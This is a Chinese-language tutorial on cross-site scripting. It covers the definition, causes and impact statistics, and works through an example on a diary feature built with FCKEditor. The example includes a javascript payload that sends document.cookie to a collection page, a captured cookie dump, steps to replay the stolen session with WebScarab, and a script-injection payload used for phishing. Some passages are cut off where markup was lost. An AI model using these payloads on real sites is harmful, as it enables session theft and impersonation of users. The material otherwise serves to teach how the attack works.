什么是跨站脚本攻击
定义
跨站脚本(Cross-site scripting,简称XSS),是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与网站。XSS的攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互。
依照英文缩写习惯,简称跨站脚本为CSS。这样会引起它和另一个名词“层叠样式表”(Cascading Style Sheets,CSS)的混淆。此CSS非彼CSS。为了以示区别,习惯将跨站脚本简称为XSS。
简而言之:脚本注入。
XSS是怎么产生的
XSS漏洞成因是由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“
跨站脚本攻击危害
国际Web应用安全组织WASC(Web Application Security Consortium)最新数据[4]表明,采样分析了10297个网站,其中有31.47%站点存在XSS漏洞,且XSS在发现的漏洞中占到总数的41.41%,高居榜首。
XSS攻击的危害包括:
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
实例
日记功能,使用FCKEditor开源控件,可以输入带样式的文本,站外图片、flash。引用站外图片存在xss漏洞
窃取用户cookie
引用站外图片路径输入以下javascript脚本:
javascript:document.getElementById("imgxss").src="/webtest/getCookies.aspx?ucookies="+document.cookie
使用webScarab修改传递到服务器的数据,源数据为:
修改之后的数据:
保存到数据库中:
/webtest/getCookies.aspx?ucookies=__utma=166452257.1341334515.1260497766.1260499020.1260499068.4; __utmz=166452257.1260499068.4.3.utmcsr= |utmccn=(referral)|utmcmd=referral|utmcct=/; __utmb=1664522260499068; __utmc=166452257; MD_num=1755_d8d31bd778da8bdd536187c36e48892b; ps_cookieDBB6C4BFECD4F16DE8BCECB5DDF74A97D7F6E7C0D753381C9DC94AC3D; loginname=test1; _uid=104214; uuid=%4000000004886; hash=55118d836b38d590ce35b21aa3f746e1
窃取cookie后,使用该cookie登录社区
同样使用webScarab修改传递到服务器的数据,修改如下图cookie内容,即可冒充被窃取cookie的用户进行操作。
钓鱼式攻击
javascript:s=document.createElement('script');s.src='/webtest/test.js';document.getElementsByTagName('head')[0].appendChild(s)
页面上显示的代码为: